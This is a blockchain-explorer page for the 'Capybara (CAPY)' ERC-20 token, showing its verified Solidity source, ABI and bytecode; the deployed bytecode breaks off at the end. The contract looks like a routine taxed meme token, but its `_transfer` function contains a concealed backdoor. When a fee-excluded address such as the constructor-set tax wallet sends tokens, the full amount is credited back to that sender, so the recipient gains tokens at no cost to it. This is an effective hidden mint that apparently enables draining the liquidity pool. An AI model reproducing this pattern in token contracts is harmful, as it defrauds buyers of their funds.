ETH Price: $3,452.59 (-1.14%)
Gas: 12 Gwei

Token

Capybara (CAPY)
 

Overview

Max Total Supply

100,000,000 CAPY

Holders

63

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,279,208.997305716 CAPY

Value
$0.00
0xdDCB175024066405bD36C655BDCd94b51D60CfFc
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CAPY

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-05-06
*/

/**

Web:  www.capybaratoken.vip

Tg:   https://t.me/capy_erc20

X;    https://x.com/capy_erc20

**/
// SPDX-License-Identifier: MIT

pragma solidity 0.8.22;

interface IFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IRouterV2 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract CAPY is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFees;

    address payable private _taxWallet;
    address private uniswapV2Pair;
    IRouterV2 private uniswapV2Router;

    string private constant _name = unicode"Capybara";
    string private constant _symbol = unicode"CAPY";
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100000000 * 10 ** _decimals;
    uint256 public constant _swapThreshold = 500 * 10 ** _decimals;
    uint256 public constant _maxSwapValue = 1500000 * 10 ** _decimals;
    uint256 public _maxTxAmount = 2000000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 2000000 * 10 ** _decimals;

    bool private tradingActive;
    bool private inSwapBack = false;
    bool private swapBackEnabled = false;
    
    uint256 private constant _initialBuyFees = 40;
    uint256 private constant _initialSellFees = 40;
    uint256 private constant _reduceBuyFeesAt = 9;
    uint256 private constant _reduceSellFeesAt = 9;
    uint256 private constant _preventSwapBefore = 0;
    uint256 private _finalBuyFees = 0;
    uint256 private _finalSellFees = 1;
    uint256 private _buyCount = 0;

    event MaxAmount(uint256 _value);
    event FinalTax(uint256 _valueBuy, uint256 _valueSell);
    event TradingActive(bool _tradingOpen, bool _swapEnabled);

    modifier lockTheSwap() {
        inSwapBack = true;
        _;
        inSwapBack = false;
    }

    constructor(address _addr) {
        _balances[_msgSender()] = _tTotal;_taxWallet = payable(_addr);
        _isExcludedFromFees[owner()] = true;
        _isExcludedFromFees[_taxWallet] = true;
        _isExcludedFromFees[address(this)] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function openTrading() external onlyOwner {
        require(!tradingActive, "trading already open");
        swapBackEnabled = true;
        tradingActive = true;
        emit TradingActive(tradingActive, swapBackEnabled);
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxAmount(_tTotal);
    }
    
    function addLiquidityETH() external onlyOwner {
        require(!tradingActive, "init already called");
        uint256 tokenAmount = balanceOf(address(this)).sub(
            _tTotal.mul(_initialBuyFees).div(100)
        );
        uniswapV2Router = IRouterV2(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IFactory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            tokenAmount,
            0,
            0,
            _msgSender(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(
            from != address(0) && to != address(0),
            "ERC20: transfer the zero address"
        );
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 tAmounts = 0; uint256 feesAmount = amount;

        if (from != owner() && to != owner()) {
            if (!tradingActive) {
                require(
                    _isExcludedFromFees[to] || _isExcludedFromFees[from],
                    "trading not yet open"
                );
            }

            if (inSwapBack || !swapBackEnabled) {
                _balances[from] = _balances[from].sub(amount);
                _balances[to] = _balances[to].add(amount);
                emit Transfer(from, to, amount);
                return;
            }

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFees[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            if (_isExcludedFromFees[from]) {
                tAmounts = amount - tAmounts;
            } else if (to == uniswapV2Pair && from != address(this)) {
                tAmounts =
                    amount.mul(
                        (_buyCount > _reduceSellFeesAt)
                            ? _finalSellFees
                            : _initialSellFees
                    ) /
                    100;
                feesAmount = feesAmount - tAmounts;
            } else if (from == uniswapV2Pair && to != address(this)) {
                tAmounts =
                    amount.mul(
                        (_buyCount > _reduceBuyFeesAt)
                            ? _finalBuyFees
                            : _initialBuyFees
                    ) /
                    100;
                feesAmount = feesAmount - tAmounts;
            }

            uint256 caBalances = balanceOf(address(this));
            if (
                !inSwapBack &&
                to == uniswapV2Pair &&
                caBalances > _swapThreshold &&
                _buyCount > _preventSwapBefore &&
                swapBackEnabled &&
                !_isExcludedFromFees[from] &&
                !_isExcludedFromFees[to]
            ) {
                uint256 minSwapValue = (caBalances > _maxSwapValue)
                    ? _maxSwapValue
                    : caBalances;
                swapTokensForEth((amount > minSwapValue) ? minSwapValue : amount);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFees(address(this).balance);
                }
            }
        }

        address feesReceipt = _isExcludedFromFees[from] ? from : address(this);

        if (tAmounts > 0) {
            _balances[feesReceipt] = _balances[feesReceipt].add(tAmounts);
            emit Transfer(from, feesReceipt, tAmounts);
        }

        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(feesAmount);

        emit Transfer(from, to, feesAmount);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(
            owner != address(0) && spender != address(0),
            "ERC20: approve the zero address"
        );
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}

    function sendETHToFees(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function setFinalTax(
        uint256 _valueBuy,
        uint256 _valueSell
    ) external onlyOwner {
        require(
            _valueBuy <= 30 && _valueSell <= 30 && tradingActive,
            "Exceeds value"
        );
        _finalBuyFees = _valueBuy;
        _finalSellFees = _valueSell;
        emit FinalTax(_valueBuy, _valueSell);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_addr","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_valueBuy","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_valueSell","type":"uint256"}],"name":"FinalTax","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"MaxAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"_tradingOpen","type":"bool"},{"indexed":false,"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"TradingActive","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxSwapValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidityETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_valueBuy","type":"uint256"},{"internalType":"uint256","name":"_valueSell","type":"uint256"}],"name":"setFinalTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a620002c2565b6200002190621e8480620002d9565b600755620000326009600a620002c2565b6200004190621e8480620002d9565b6008556009805462ffff00191690555f600a8190556001600b55600c553480156200006a575f80fd5b5060405162001d9938038062001d998339810160408190526200008d91620002f3565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620000db6009600a620002c2565b620000eb906305f5e100620002d9565b335f81815260016020818152604080842095909555600480546001600160a01b0319166001600160a01b038881169190911782558454811685526003909252858420805460ff199081168517909155905490911683528483208054821683179055308352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200018b6009600a620002c2565b6200019b906305f5e100620002d9565b60405190815260200160405180910390a3506200031b565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200020757815f1904821115620001eb57620001eb620001b3565b80851615620001f957918102915b93841c9390800290620001cc565b509250929050565b5f826200021f57506001620002bc565b816200022d57505f620002bc565b8160018114620002465760028114620002515762000271565b6001915050620002bc565b60ff841115620002655762000265620001b3565b50506001821b620002bc565b5060208310610133831016604e8410600b841016171562000296575081810a620002bc565b620002a28383620001c7565b805f1904821115620002b857620002b8620001b3565b0290505b92915050565b5f620002d260ff8416836200020f565b9392505050565b8082028115828204841417620002bc57620002bc620001b3565b5f6020828403121562000304575f80fd5b81516001600160a01b0381168114620002d2575f80fd5b611a7080620003295f395ff3fe608060405260043610610113575f3560e01c80637d1db4a51161009d578063a9059cbb11610062578063a9059cbb146102f8578063c9567bf914610317578063d5b3f5ec1461032b578063dd62ed3e1461033f578063ed99530714610383575f80fd5b80637d1db4a51461025d57806382116718146102725780638da5cb5b146102915780638f9a55c0146102b757806395d89b41146102cc575f80fd5b806323b872dd116100e357806323b872dd146101c5578063313ce567146101e457806370a08231146101ff578063715018a614610233578063751039fc14610249575f80fd5b806306fdde031461011e578063095ea7b3146101605780630e5a92311461018f57806318160ddd146101b1575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b50604080518082019091526008815267436170796261726160c01b60208201525b6040516101579190611640565b60405180910390f35b34801561016b575f80fd5b5061017f61017a3660046116a3565b610397565b6040519015158152602001610157565b34801561019a575f80fd5b506101a36103ad565b604051908152602001610157565b3480156101bc575f80fd5b506101a36103c8565b3480156101d0575f80fd5b5061017f6101df3660046116cd565b6103e8565b3480156101ef575f80fd5b5060405160098152602001610157565b34801561020a575f80fd5b506101a361021936600461170b565b6001600160a01b03165f9081526001602052604090205490565b34801561023e575f80fd5b5061024761044f565b005b348015610254575f80fd5b506102476104c9565b348015610268575f80fd5b506101a360075481565b34801561027d575f80fd5b5061024761028c366004611726565b61057b565b34801561029c575f80fd5b505f546040516001600160a01b039091168152602001610157565b3480156102c2575f80fd5b506101a360085481565b3480156102d7575f80fd5b506040805180820190915260048152634341505960e01b602082015261014a565b348015610303575f80fd5b5061017f6103123660046116a3565b610647565b348015610322575f80fd5b50610247610653565b348015610336575f80fd5b506101a361071c565b34801561034a575f80fd5b506101a3610359366004611746565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561038e575f80fd5b50610247610735565b5f6103a3338484610ad4565b5060015b92915050565b6103b96009600a611871565b6103c5906101f461187f565b81565b5f6103d56009600a611871565b6103e3906305f5e10061187f565b905090565b5f6103f4848484610ba0565b610445843361044085604051806060016040528060288152602001611a13602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906112d6565b610ad4565b5060019392505050565b5f546001600160a01b031633146104815760405162461bcd60e51b815260040161047890611896565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104f25760405162461bcd60e51b815260040161047890611896565b6104fe6009600a611871565b61050c906305f5e10061187f565b60075561051b6009600a611871565b610529906305f5e10061187f565b6008557f09cd51dbb3863eb5590065f7de41ae4950c3ede201a9f214669deadb855d39556105596009600a611871565b610567906305f5e10061187f565b6040519081526020015b60405180910390a1565b5f546001600160a01b031633146105a45760405162461bcd60e51b815260040161047890611896565b601e82111580156105b65750601e8111155b80156105c4575060095460ff165b6106005760405162461bcd60e51b815260206004820152600d60248201526c457863656564732076616c756560981b6044820152606401610478565b600a829055600b81905560408051838152602081018390527f78009e5656a5c60b3c047015fb856b2efbc6f42beed76119406d7d4e3fc161f4910160405180910390a15050565b5f6103a3338484610ba0565b5f546001600160a01b0316331461067c5760405162461bcd60e51b815260040161047890611896565b60095460ff16156106c65760405162461bcd60e51b81526020600482015260146024820152733a3930b234b7339030b63932b0b23c9037b832b760611b6044820152606401610478565b600980546201000162ff00ff19909116179081905560408051600181526201000090920460ff16151560208301527f41a09f17206aad1ccd4bae176b5c5e0b2154e569947545c9019e6bb0cb4ef59c9101610571565b6107286009600a611871565b6103c5906216e36061187f565b5f546001600160a01b0316331461075e5760405162461bcd60e51b815260040161047890611896565b60095460ff16156107a75760405162461bcd60e51b81526020600482015260136024820152721a5b9a5d08185b1c9958591e4818d85b1b1959606a1b6044820152606401610478565b5f6107f06107db60646107d560286107c16009600a611871565b6107cf906305f5e10061187f565b9061130e565b90611393565b305f90815260016020526040902054906113d4565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915590915061083c90309061082e6009600a611871565b610440906305f5e10061187f565b60065f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561088c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108b091906118cb565b6001600160a01b031663c9c653963060065f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561090f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061093391906118cb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561097d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109a191906118cb565b600580546001600160a01b0319166001600160a01b039283161790556006541663f305d7194730845f803360405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a32573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a5791906118e6565b505060055460065460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610aac573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ad09190611911565b5050565b6001600160a01b03831615801590610af457506001600160a01b03821615155b610b405760405162461bcd60e51b815260206004820152601f60248201527f45524332303a20617070726f766520746865207a65726f2061646472657373006044820152606401610478565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831615801590610bc057506001600160a01b03821615155b610c0c5760405162461bcd60e51b815260206004820181905260248201527f45524332303a207472616e7366657220746865207a65726f20616464726573736044820152606401610478565b5f8111610c6d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610478565b5f81610c805f546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610cae57505f546001600160a01b03858116911614155b156111765760095460ff16610d3d576001600160a01b0384165f9081526003602052604090205460ff1680610cfa57506001600160a01b0385165f9081526003602052604090205460ff165b610d3d5760405162461bcd60e51b81526020600482015260146024820152733a3930b234b733903737ba103cb2ba1037b832b760611b6044820152606401610478565b600954610100900460ff1680610d5c575060095462010000900460ff16155b15610e13576001600160a01b0385165f90815260016020526040902054610d8390846113d4565b6001600160a01b038087165f908152600160205260408082209390935590861681522054610db19084611415565b6001600160a01b038086165f8181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e049087815260200190565b60405180910390a35050505050565b6005546001600160a01b038681169116148015610e3e57506006546001600160a01b03858116911614155b8015610e6257506001600160a01b0384165f9081526003602052604090205460ff16155b15610f4857600754831115610eb95760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610478565b60085483610edb866001600160a01b03165f9081526001602052604090205490565b610ee59190611930565b1115610f335760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610478565b600c8054905f610f4283611943565b91905055505b6001600160a01b0385165f9081526003602052604090205460ff1615610f7957610f72828461195b565b9150611046565b6005546001600160a01b038581169116148015610f9f57506001600160a01b0385163014155b15610fe2576064610fc56009600c5411610fba576028610fbe565b600b545b859061130e565b610fcf919061196e565b9150610fdb828261195b565b9050611046565b6005546001600160a01b03868116911614801561100857506001600160a01b0384163014155b1561104657606461102d6009600c5411611023576028610fbe565b600a54859061130e565b611037919061196e565b9150611043828261195b565b90505b305f90815260016020526040902054600954610100900460ff1615801561107a57506005546001600160a01b038681169116145b801561109c575061108d6009600a611871565b611099906101f461187f565b81115b80156110a957505f600c54115b80156110bd575060095462010000900460ff165b80156110e157506001600160a01b0386165f9081526003602052604090205460ff16155b801561110557506001600160a01b0385165f9081526003602052604090205460ff16155b15611174575f6111176009600a611871565b611124906216e36061187f565b82116111305781611149565b61113c6009600a611871565b611149906216e36061187f565b905061116181861161115b5785611473565b81611473565b47801561117157611171476115dd565b50505b505b6001600160a01b0385165f9081526003602052604081205460ff1661119b573061119d565b855b90508215611223576001600160a01b0381165f908152600160205260409020546111c79084611415565b6001600160a01b038083165f8181526001602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061121a9087815260200190565b60405180910390a35b6001600160a01b0386165f9081526001602052604090205461124590856113d4565b6001600160a01b038088165f9081526001602052604080822093909355908716815220546112739083611415565b6001600160a01b038087165f8181526001602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112c69086815260200190565b60405180910390a3505050505050565b5f81848411156112f95760405162461bcd60e51b81526004016104789190611640565b505f611305848661195b565b95945050505050565b5f825f0361131d57505f6103a7565b5f611328838561187f565b905082611335858361196e565b1461138c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610478565b9392505050565b5f61138c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611614565b5f61138c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112d6565b5f806114218385611930565b90508381101561138c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610478565b6009805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106114b5576114b561198d565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561150c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061153091906118cb565b816001815181106115435761154361198d565b6001600160a01b0392831660209182029290920101526006546115699130911684610ad4565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906115a19085905f908690309042906004016119a1565b5f604051808303815f87803b1580156115b8575f80fd5b505af11580156115ca573d5f803e3d5ffd5b50506009805461ff001916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610ad0573d5f803e3d5ffd5b5f81836116345760405162461bcd60e51b81526004016104789190611640565b505f611305848661196e565b5f602080835283518060208501525f5b8181101561166c57858101830151858201604001528201611650565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146116a0575f80fd5b50565b5f80604083850312156116b4575f80fd5b82356116bf8161168c565b946020939093013593505050565b5f805f606084860312156116df575f80fd5b83356116ea8161168c565b925060208401356116fa8161168c565b929592945050506040919091013590565b5f6020828403121561171b575f80fd5b813561138c8161168c565b5f8060408385031215611737575f80fd5b50508035926020909101359150565b5f8060408385031215611757575f80fd5b82356117628161168c565b915060208301356117728161168c565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156117cb57815f19048211156117b1576117b161177d565b808516156117be57918102915b93841c9390800290611796565b509250929050565b5f826117e1575060016103a7565b816117ed57505f6103a7565b8160018114611803576002811461180d57611829565b60019150506103a7565b60ff84111561181e5761181e61177d565b50506001821b6103a7565b5060208310610133831016604e8410600b841016171561184c575081810a6103a7565b6118568383611791565b805f19048211156118695761186961177d565b029392505050565b5f61138c60ff8416836117d3565b80820281158282048414176103a7576103a761177d565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156118db575f80fd5b815161138c8161168c565b5f805f606084860312156118f8575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611921575f80fd5b8151801515811461138c575f80fd5b808201808211156103a7576103a761177d565b5f600182016119545761195461177d565b5060010190565b818103818111156103a7576103a761177d565b5f8261198857634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119f15784516001600160a01b0316835293830193918301916001016119cc565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e1b5451d2983822a75685876d7cb312f43c5491387feff8ceab30f093c73dee064736f6c63430008160033000000000000000000000000c485e5a82df6390d64f8de738beb4b8a9fddd51f

Deployed Bytecode

0x608060405260043610610113575f3560e01c80637d1db4a51161009d578063a9059cbb11610062578063a9059cbb146102f8578063c9567bf914610317578063d5b3f5ec1461032b578063dd62ed3e1461033f578063ed99530714610383575f80fd5b80637d1db4a51461025d57806382116718146102725780638da5cb5b146102915780638f9a55c0146102b757806395d89b41146102cc575f80fd5b806323b872dd116100e357806323b872dd146101c5578063313ce567146101e457806370a08231146101ff578063715018a614610233578063751039fc14610249575f80fd5b806306fdde031461011e578063095ea7b3146101605780630e5a92311461018f57806318160ddd146101b1575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b50604080518082019091526008815267436170796261726160c01b60208201525b6040516101579190611640565b60405180910390f35b34801561016b575f80fd5b5061017f61017a3660046116a3565b610397565b6040519015158152602001610157565b34801561019a575f80fd5b506101a36103ad565b604051908152602001610157565b3480156101bc575f80fd5b506101a36103c8565b3480156101d0575f80fd5b5061017f6101df3660046116cd565b6103e8565b3480156101ef575f80fd5b5060405160098152602001610157565b34801561020a575f80fd5b506101a361021936600461170b565b6001600160a01b03165f9081526001602052604090205490565b34801561023e575f80fd5b5061024761044f565b005b348015610254575f80fd5b506102476104c9565b348015610268575f80fd5b506101a360075481565b34801561027d575f80fd5b5061024761028c366004611726565b61057b565b34801561029c575f80fd5b505f546040516001600160a01b039091168152602001610157565b3480156102c2575f80fd5b506101a360085481565b3480156102d7575f80fd5b506040805180820190915260048152634341505960e01b602082015261014a565b348015610303575f80fd5b5061017f6103123660046116a3565b610647565b348015610322575f80fd5b50610247610653565b348015610336575f80fd5b506101a361071c565b34801561034a575f80fd5b506101a3610359366004611746565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561038e575f80fd5b50610247610735565b5f6103a3338484610ad4565b5060015b92915050565b6103b9600960